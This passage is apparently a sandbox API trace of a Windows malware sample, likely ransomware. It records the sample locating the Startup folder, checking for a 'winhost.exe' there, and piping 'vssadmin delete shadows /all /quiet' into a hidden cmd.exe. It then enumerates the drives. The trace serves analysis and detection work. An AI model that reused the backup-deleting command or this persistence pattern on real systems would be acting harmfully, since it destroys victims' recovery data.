(HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x563d28 [0245.077] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x563d28, Size=0x20) returned 0x55efe8 [0245.077] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x73f50000 [0245.077] GetProcAddress (hModule=0x73f50000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x73f66b30 [0245.077] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0245.077] lstrlenW (lpString="kernel32.dll") returned 12 [0245.077] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55efe8 | out: hHeap=0x520000) returned 1 [0245.077] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0245.077] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55ee58 | out: hHeap=0x520000) returned 1 [0245.077] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2535020 | out: hHeap=0x520000) returned 1 [0245.081] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xfffe) returned 0x5863a8 [0245.081] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xfffe) returned 0x5963b0 [0245.081] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x563c80 [0245.081] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x563c80, Size=0x20) returned 0x55ee58 [0245.081] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x55ee58, Size=0x40) returned 0x537ba8 [0245.081] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x537ba8, Size=0x80) returned 0x564e58 [0245.081] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x564e58, Size=0x100) returned 0x564e58 [0245.081] lstrlenW (lpString="") returned 0 [0245.081] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0245.081] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8c) returned 0x564f60 [0245.081] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x19fd10 | out: phkResult=0x19fd10*=0x244) returned 0x0 [0245.081] RegQueryValueExW (in: hKey=0x244, lpValueName="Common Startup", lpReserved=0x0, lpType=0x19fd1c, lpData=0x5963b0, lpcbData=0x19fd48*=0x7fff | out: lpType=0x19fd1c*=0x2, lpData="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x19fd48*=0x78) returned 0x0 [0245.081] RegCloseKey (hKey=0x244) returned 0x0 [0245.081] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x564f60 | out: hHeap=0x520000) returned 1 [0245.081] lstrlenW (lpString="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 59 [0245.081] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0245.081] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x564e58 | out: hHeap=0x520000) returned 1 [0245.081] ExpandEnvironmentStringsW (in: lpSrc="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\winhost.exe", lpDst=0x5863a8, nSize=0x7fff | out: lpDst="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\winhost.exe") returned 0x49 [0245.081] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5963b0 | out: hHeap=0x520000) returned 1 [0245.082] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5863a8 | out: hHeap=0x520000) returned 1 [0245.082] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100000) returned 0x2532020 [0245.084] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x563c80 [0245.084] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x563c80, Size=0x20) returned 0x55ef98 [0245.084] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x563c80 [0245.084] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x563c80, Size=0x20) returned 0x55ee58 [0245.084] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x73f50000 [0245.084] GetProcAddress (hModule=0x73f50000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x73f66b30 [0245.084] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0245.084] lstrlenW (lpString="kernel32.dll") returned 12 [0245.084] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55ef98 | out: hHeap=0x520000) returned 1 [0245.084] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0245.084] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55ee58 | out: hHeap=0x520000) returned 1 [0245.084] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\winhost.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\winhost.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244 [0245.084] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\winhost.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\winhost.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.084] CloseHandle (hObject=0x244) returned 1 [0245.084] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x563d28 [0245.084] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x563d28, Size=0x20) returned 0x55ee58 [0245.084] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x563d28 [0245.085] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x563d28, Size=0x20) returned 0x55eef8 [0245.085] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x73f50000 [0245.085] GetProcAddress (hModule=0x73f50000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x73f66b30 [0245.085] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0245.085] lstrlenW (lpString="kernel32.dll") returned 12 [0245.085] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55eef8 | out: hHeap=0x520000) returned 1 [0245.085] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0245.085] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55ee58 | out: hHeap=0x520000) returned 1 [0245.085] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2532020 | out: hHeap=0x520000) returned 1 [0245.086] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566398 | out: hHeap=0x520000) returned 1 [0245.087] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5763a0 | out: hHeap=0x520000) returned 1 [0245.088] lstrlenW (lpString="%windir%\\System32") returned 17 [0245.088] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537578 | out: hHeap=0x520000) returned 1 [0245.088] lstrlenW (lpString="%appdata%") returned 9 [0245.088] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55ee30 | out: hHeap=0x520000) returned 1 [0245.088] lstrlenW (lpString="%sh(Startup)%") returned 13 [0245.088] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55ef70 | out: hHeap=0x520000) returned 1 [0245.088] lstrlenW (lpString="%sh(Common Startup)%") returned 20 [0245.088] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x537968 | out: hHeap=0x520000) returned 1 [0245.088] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x563c80 [0245.088] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x563c80, Size=0x20) returned 0x55ef98 [0245.088] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x55ef98, Size=0x40) returned 0x537770 [0245.088] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x537770, Size=0x80) returned 0x564e58 [0245.088] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x563d28 [0245.088] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x563d28, Size=0x20) returned 0x55edb8 [0245.088] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1fffc) returned 0x566398 [0245.088] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xfffe) returned 0x5863a0 [0245.088] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xfffe) returned 0x5963a8 [0245.088] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x563c80 [0245.088] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x563c80, Size=0x20) returned 0x55ee08 [0245.088] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x55ee08, Size=0x40) returned 0x537a88 [0245.088] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x537a88, Size=0x80) returned 0x564ee0 [0245.088] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x564ee0, Size=0x100) returned 0x564ee0 [0245.088] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0245.088] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x564ee0 | out: hHeap=0x520000) returned 1 [0245.088] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x5863a0, nSize=0x7fff | out: lpDst="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0245.088] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5963a8 | out: hHeap=0x520000) returned 1 [0245.089] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5863a0 | out: hHeap=0x520000) returned 1 [0245.089] CreatePipe (in: hReadPipe=0x19fd50, hWritePipe=0x19fd54, lpPipeAttributes=0x19fd40, nSize=0x0 | out: hReadPipe=0x19fd50*=0x248, hWritePipe=0x19fd54*=0x24c) returned 1 [0245.089] CreatePipe (in: hReadPipe=0x19fdc0, hWritePipe=0x19fdc4, lpPipeAttributes=0x19fd40, nSize=0x0 | out: hReadPipe=0x19fdc0*=0x250, hWritePipe=0x19fdc4*=0x254) returned 1 [0245.090] SetHandleInformation (hObject=0x24c, dwMask=0x1, dwFlags=0x0) returned 1 [0245.090] SetHandleInformation (hObject=0x250, dwMask=0x1, dwFlags=0x0) returned 1 [0245.090] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\cmd.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x19fd60*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x248, hStdOutput=0x254, hStdError=0x254), lpProcessInformation=0x19fdb0 | out: lpCommandLine=0x0, lpProcessInformation=0x19fdb0*(hProcess=0x25c, hThread=0x258, dwProcessId=0xeb8, dwThreadId=0xebc)) returned 1 [0245.206] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0245.206] WriteFile (in: hFile=0x24c, lpBuffer=0x564e58*, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0x19fd5c, lpOverlapped=0x0 | out: lpBuffer=0x564e58*, lpNumberOfBytesWritten=0x19fd5c*=0x41, lpOverlapped=0x0) returned 1 [0245.206] CloseHandle (hObject=0x25c) returned 1 [0245.206] CloseHandle (hObject=0x258) returned 1 [0245.206] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566398 | out: hHeap=0x520000) returned 1 [0245.206] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0245.206] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x564e58 | out: hHeap=0x520000) returned 1 [0245.206] lstrlenW (lpString="%comspec%") returned 9 [0245.206] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55edb8 | out: hHeap=0x520000) returned 1 [0245.206] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a530, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x258 [0245.207] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc) returned 0x563d28 [0245.207] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a710, lpParameter=0x563d28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x25c [0245.207] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x55f190 [0245.207] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4098e0, lpParameter=0x55f190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x264 [0245.207] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x563c80 [0245.207] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x563c80, Size=0x20) returned 0x55eea8 [0245.207] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x55eea8, Size=0x40) returned 0x537ba8 [0245.208] lstrlenW (lpString="ABCDEFGHIJKLMNOPQRSTUVWXYZ") returned 26 [0245.208] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x53b460 [0245.208] GetLogicalDrives () returned 0x4 [0245.208] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10014) returned 0x566398 [0245.208] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x563c80 [0245.208] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x563c80, Size=0x20) returned 0x55ef98 [0245.208] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x55ef98, Size=0x40) returned 0x537bf0 [0245.208] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x537bf0, Size=0x80) returned 0x564e58 [0245.208] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x564e58, Size=0x100) returned 0x564f70 [0245.208] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x564f70, Size=0x200) returned 0x5763b8 [0245.208] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x5763b8, Size=0x400) returned 0x5763b8 [0245.208] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x5763b8, Size=0x800) returned 0x5763b8 [0245.208] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x5763b8, Size=0x1000) returned 0x5763b8 [0245.208] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10000) returned 0x5773c0 [0245.208] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x563c80 [0245.208] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc) returned 0x563bd8 [0245.208] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4) returned 0x55f0c0 [0245.208] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc) returned 0x563b60 [0245.208] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4) returned 0x55f1a0 [0245.208] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x563bf0 [0245.208] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x55f1a0, Size=0x8) returned 0x55f0f0 [0245.208] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x563998 [0245.208] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x55f0f0, Size=0x10) returned 0x563c08 [0245.208] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x563a70 [0245.208] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x563ad0 [0245.208] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x563c08, Size=0x20) returned 0x55ee08 [0245.208] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x563a40 [0245.208] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x55f0f0 [0245.208] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe) returned 0x563bc0 [0245.208] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe) returned 0x563b18 [0245.208] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x55ee08, Size=0x40) returned 0x537a88 [0245.208] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe) returned 0x563b78 [0245.208] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe) returned 0x563b90 [0245.208] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe) returned 0x563ba8 [0245.208] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe) returned 0x563c08 [0245.208] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x563980 [0245.208] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x563ae8 [0245.208] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x55f150 [0245.208] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x563a58 [0245.208] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x537a88, Size=0x80) returned 0x564e58 [0245.208] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x5639b0 [0245.208] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x563c20 [0245.208] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x563c38 [0245.208] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x563c50 [0245.208] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x5639c8 [0245.208] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc) returned 0x563968 [0245.208] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x5639e0 [0245.208] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x55f1b0 [0245.208] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x563a10 [0245.209] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x563a28 [0245.209] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc) returned 0x563a88 [0245.209] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x563aa0 [0245.209] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc) returned 0x563ab8 [0245.209] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x563b00 [0245.209] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc) returned 0x587a88 [0245.209] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x587a58 [0245.209] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x564e58, Size=0x100) returned 0x564f70 [0245.209] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x587b18 [0245.209] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x587a70 [0245.209] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x587a28 [0245.209] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x587ae8 [0245.209] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x587b90 [0245.209] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x587b00 [0245.209] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x55f160 [0245.209] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x587b30 [0245.209] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x587ba8 [0245.209] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x587aa0 [0245.209] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x6) returned 0x55f1a0 [0245.209] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x5879f8 [0245.209] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x587a10 [0245.209] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x55f1d0 [0245.209] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x587b48 [0245.209] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x587a40 [0245.209] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc) returned 0x587ab8 [0245.209] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x587ad0 [0245.209] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x587b60 [0245.209] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x587b78 [0245.209] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe) returned 0x5875c0 [0245.209] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x587488 [0245.209] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x5875a8 [0245.209] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x587470 [0245.209] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x587590 [0245.209] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x5876e0 [0245.209] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x587608 [0245.209] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x55f170 [0245.209] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x587560 [0245.209] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x587578 [0245.209] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x5875d8 [0245.209] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x587518 [0245.209] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x564f70, Size=0x200) returned 0x587fd0 [0245.209] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x587428 [0245.209] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x55f240 [0245.209] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x5875f0 [0245.209] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x587638 [0245.209] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x587680 [0245.209] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x587530 [0245.209] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x587698 [0245.209] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x5874b8 [0245.209] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x587620 [0245.209] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x587650 [0245.209] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x587668 [0245.209] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc) returned 0x5876b0 [0245.209] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc) returned 0x5876c8 [0245.209] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x5873f8 [0245.209] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x5874a0 [0245.209] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc) returned 0x587410 [0245.209] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc) returned 0x587548 [0245.209] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x587500 [0245.209] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc) returned 0x587440 [0245.210] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc) returned 0x587458 [0245.210] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x5874d0 [0245.210] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x5874e8 [0245.210] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x587878 [0245.210] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x55f180 [0245.210] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x5877d0 [0245.210] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x5879e0 [0245.210] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x587758 [0245.210] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x55f280 [0245.210] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x5878a8 [0245.210] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc) returned 0x587998 [0245.210] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x587830 [0245.210] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x587908 [0245.210] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x587728 [0245.210] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x5879c8 [0245.210] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x587950 [0245.210] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x587860 [0245.210] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc) returned 0x587980 [0245.210] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc) returned 0x587800 [0245.210] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x587770 [0245.210] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x5878d8 [0245.210] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x587740 [0245.210] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc) returned 0x5878c0 [0245.210] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x5876f8 [0245.210] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x587818 [0245.210] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x5877a0 [0245.210] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x587848 [0245.210] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x587968 [0245.210] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x5879b0 [0245.210] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x5877b8 [0245.210] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x55f1c0 [0245.210] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x6) returned 0x55f1e0 [0245.210] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x587788 [0245.210] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa) returned 0x5877e8 